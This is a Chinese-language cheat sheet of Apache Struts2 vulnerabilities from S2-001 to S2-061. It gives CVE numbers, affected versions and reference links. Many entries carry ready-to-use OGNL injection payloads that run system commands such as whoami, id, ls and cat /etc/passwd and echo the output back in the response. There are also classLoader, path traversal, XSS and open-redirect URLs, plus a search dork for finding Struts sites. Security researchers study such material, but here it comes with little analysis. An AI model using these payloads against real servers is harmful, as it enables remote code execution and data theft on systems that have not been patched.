开源项目
https://github.com/xhycccc/Struts2-Vuln-Demo
https://github.com/prakharathreya/Struts2-RCE burp插件
参考文章
https://issues.apache.org/jira/browse/WW-3858
https://cwiki.apache.org/confluence/display/WW/S2-012
https://www.cnblogs.com/LittleHann/p/4648833.html
https://blog.csdn.net/sinat_40662281/article/details/88755721
http://blog.sina.com.cn/s/blog_4550f3ca0101g6sh.html
https://my.oschina.net/cronie/blog/172641
https://www.jianshu.com/p/d3e311528426
https://struts.apache.org/plugins/convention/
https://www.cnblogs.com/huangcongcong/p/4701146.html
https://struts.apache.org/security/#restrict-access-to-the-config-browser-plugin
https://cloud.tencent.com/developer/article/1413525
https://www.ktanx.com/blog/p/4929
https://www.cnblogs.com/yjmyzz/p/struts2-rest-plugin-advanced-usage.html
https://help.aliyun.com/document_detail/72057.html
https://www.cnblogs.com/zhangminghui/p/4107735.html
http://json-lib.sourceforge.net/
漏洞分析
struts属性 - tag
struts属性 - Freemarker标签
Jackson
XStream
文件上传-Content-Type
struts属性 - xxx标签
JSON-lib
XStream
struts插件 - rest
Spring security AccessDecisionManagerURLValidator
struts插件 - convention
struts功能类 - XSLTResult
拦截器 - I18NInterceptor
struts配置不当 - 字符编码问题
struts配置不当 - 调试模式打开
struts功能类 - CookieInterceptor
valueStack
XWORK
OGNL
补丁
https://github.com/apache/struts/commit/19494718865f2fb7da5ea363de3822f87fbda264
CVE-2020-17530 | s2-061
影响版本 Struts 2.0.0 - Struts 2.5.25 %{...}
CVE-2019-0233 | s2-060
影响版本 Apache Struts 2.00 - 2.5.20
CVE-2019-0230 | s2-059
影响版本 Apache Struts 2.00 - 2.5.20
s2-058
影响版本 Struts 2.0.0 - 2.5.12
cve-2018-11776 | s2-057
影响版本 Struts 2.3 - 2.3.34 Struts 2.5 - 2.5.16
CVE-2018-1327 | s2-056
影响版本 Struts 2.1.1 - Struts 2.5.14.1 poc DOS
S2-055
影响版本
Struts 2.5.0.0 - Struts 2.5.14.0
CVE-2017-15707 | s2-054
影响版本 Struts 2.5 - Struts 2.5.14 poc DOS
CVE-2017-12611 | s2-053
影响版本 Struts 2.0.1 - Struts 2.3.33 Struts 2.5 - Struts 2.5.10
poc
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd='ipconfig'}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
CVE-2017-9805 | s2-052
影响版本
Struts 2.3.0 - Struts 2.3.33
Struts 2.5.0 - Struts 2.5.12
调用栈:
ContentTypeInterceptor.java getHandlerForRequest()
ContentTypeInterceptor.java handler.toObject(reader, target )
XStreamHandler.java toObject()
poc
S2-devMode
影响版本
Struts 2.1.0-2.3.1
CVE-2017-9793 | s2-051
影响版本 Struts 2.1.6 - 2.3.33 Struts 2.5 - 2.5.12 poc
DOS
CVE-2017-9804 | s2-050
影响版本 Struts 2.3.7 - Struts 2.3.33 Struts 2.5 - Struts 2.5.12 poc s2-047的绕过(正则)
CVE-2017-9787 | s2-049
影响版本 Struts 2.3.7 - Struts 2.3.32 Struts 2.5 - Struts 2.5.10.1 poc DOS
cve-2017-9791 | s2-048
影响版本 Struts 2.3.x
CVE-2017-7672 | s2-047
影响版本
Struts 2.5 - Struts 2.5.10.1
poc
s2-044的绕过(正则)
cve-2017-5638 | s2-046
影响版本
Struts 2.3.5-2.3.31
Struts 2.5-2.5.10
CVE-2017-5638 | s2-045
影响版本
Struts 2.3.5-2.3.31
Struts 2.5-2.5.10
poc
Content-Type: multipart/form-data
%{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};
CVE-2016-8738 | s2-044
影响版本 Struts 2.5 - Struts 2.5.12
poc
DOS
s2-043
影响版本 Usage of the Config Browser plugin in a production evnironment
CVE-2016-6795 | s2-042
影响版本
Struts 2.3.1 - 2.3.30
Struts 2.5 - 2.5.2
poc
path traversal
CVE-2016-4465 | s2-041
影响版本 Struts 2.3.20 - 2.3.28.1 Struts 2.5 - 2.5.12 poc
DOS - 正则使用不当
CVE-2016-4431 | s2-040
影响版本 Struts 2.3.20 - Struts Struts 2.3.28.1 poc 重定向
CVE-2016-4433 | s2-039
影响版本 Struts 2.3.20 - Struts Struts 2.3.28.1 poc
重定向
CVE-2016-4430 | s2-038
影响版本 Struts 2.3.20 - Struts Struts 2.3.28.1 poc CSRF
cve-2016-4438 | S2-037
影响版本
Struts 2.3.20-2.3.28.1
CVE-2016-4461 | s2-036
影响版本 Struts 2.0.0 - Struts 2.3.28.1 poc s2-029的绕过
CVE-2016-4436 | s2-035
影响版本 Struts 2.0.0 - Struts 2.3.28.1
poc
CVE-2016-3093 | s2-034
影响版本 Struts 2.0.0 - Struts 2.3.24.1 poc dos
s2-033
影响版本
Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)
cve-2016-3081 | s2-032
影响版本
Struts 2.3.18-2.3.28(不包含2.3.20.3和2.3.24.3)
CVE-2016-3082 | s2-031
影响版本 Struts 2.0.0 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
poc
CVE-2016-2162 | s2-030
影响版本 Struts 2.0.0 - Struts Struts 2.3.24.1 poc XSS
CVE-2016-0785 | s2-029
影响版本
Struts 2.0.0-2.3.24.1(2.3.20.3不包含)
poc
(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,
CVE-2016-4003 | s2-028
影响版本 Struts 2.0.0 - Struts Struts 2.3.24.1 poc XSS
CVE-2016-3090 | s2-027
影响版本 Struts 2.0.0 - Struts Struts 2.3.16.3
poc
正则使用不当问题
CVE-2015-5209 | s2-026
影响版本
Struts 2.0.0 - Struts Struts 2.3.24
CVE-2015-5169 | s2-025
影响版本 Struts 2.0.0 - Struts Struts 2.3.16.3 poc XSS
CVE-2015-1831 | s2-024
影响版本 Struts 2.3.20 poc
CVE-2014-7809 | s2-023
影响版本 Struts 2.0.0 - Struts 2.3.16.3 poc csrf
CVE-2014-0116 | s2-022
影响版本 Struts 2.0.0 - Struts 2.3.16.3
s2-021 |
CVE-2014-0112,CVE-2014-0112
影响版本 Struts 2.0.0 - Struts 2.3.16.3
poc
s2-020的绕过
s2-020 |
CVE-2014-0050 (DoS), CVE-2014-0094 (ClassLoader manipulation)
s2-020 |
CVE-2014-0050 (DoS), CVE-2014-0094 (ClassLoader manipulation)
影响版本 Struts 2.0.0 - Struts 2.3.16.1
poc dos http://localhost:8080/S2-XX/Login.action?class.classLoader.resources.dirContext.docBase=不存在路径 rce http://localhost:8080/S2-XX/Login.action?class.classLoader.resources.dirContext.docBase=//virus/test
S2-019
影响版本
Struts 2.0.0-2.3.15.1
CVE-2013-4310 | s2-018
影响版本 Struts 2.0.0 - Struts 2.3.15.2 poc - 安全机制绕过
CVE-2013-2248 | s2-017
影响版本 Struts 2.0.0 - Struts 2.3.15 poc- 重定向 http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/ http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23
S2-016
影响版本
Struts 2.0.0-2.3.15
S2-015
影响版本
Struts 2.0.0-2.3.14.2
poc
/${1+1}
exp
/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action
S2-014
影响版本
Struts 2.0.0-2.3.14.1
CVE-2013-1966(
S2-013)
影响版本
Struts 2.0.0-2.3.14.1
poc
%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23out.println%28%23d%29%2C%23out.close%28%29%29%7D
CVE-2013-1965(S2-012)
影响版本
2.0.0-2.3.13
poc
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd.exe", "/c", "ipconfig"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
重定向过程中参数未过滤导致S2-002|S2-003|S2-009再利用
CVE-2012-4387 | s2-011
影响版本 Struts 2.0.0 - Struts 2.3.4 DOS
CVE-2012-4386 | s2-010
影响版本 Struts 2.0.0 - Struts 2.3.4
cve-2011-3923 | S2-009
影响版本
Struts 2.0.0-2.3.1.1
poc
(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
S2-008
影响版本
Struts 2.1.0-2.3.1
poc
%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22ls%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()
CVE-2012-0838 | Struts-s2-007
影响版本
Struts 2.0.0-2.2.3
poc
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) +
CVE-2011-1772 | s2-006
影响版本 Struts 2.0.0 - Struts 2.2.1.1 poc http://localhost:8080/struts2-blank/home.action!login:cantLogin<script>alert(document.cookie)</script>=some_value
CVE-2010-1870 | s2-005
影响版本
Struts 2.0.0 - Struts 2.1.8.1
s2-004
影响版本 Struts 2.0.0 - 2.0.11.2 Struts 2.1.0 - 2.1.2 poc http://localhost:8080/struts2-blank-2.0.11.1/struts.. http://localhost:8080/struts2-blank-2.0.11.1/struts/..%252f http://exampletomcat.com:8080/struts2-blank-2.0.11.1/struts/..%252f..%252f..%252fWEB-INF/classess/example/Login.class/
s2-003
影响版本
Struts 2.0.0 - Struts 2.1.8.1
s2-002
影响版本 Struts 2.0.0 - Struts 2.0.11
poc
<script 1>alert(1)</script>
s2-001
影响版本 Struts 2.0.0 - Struts 2.0.8
poc
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
Google Hack: filetype:action
https://help.aliyun.com/document_detail/72057.html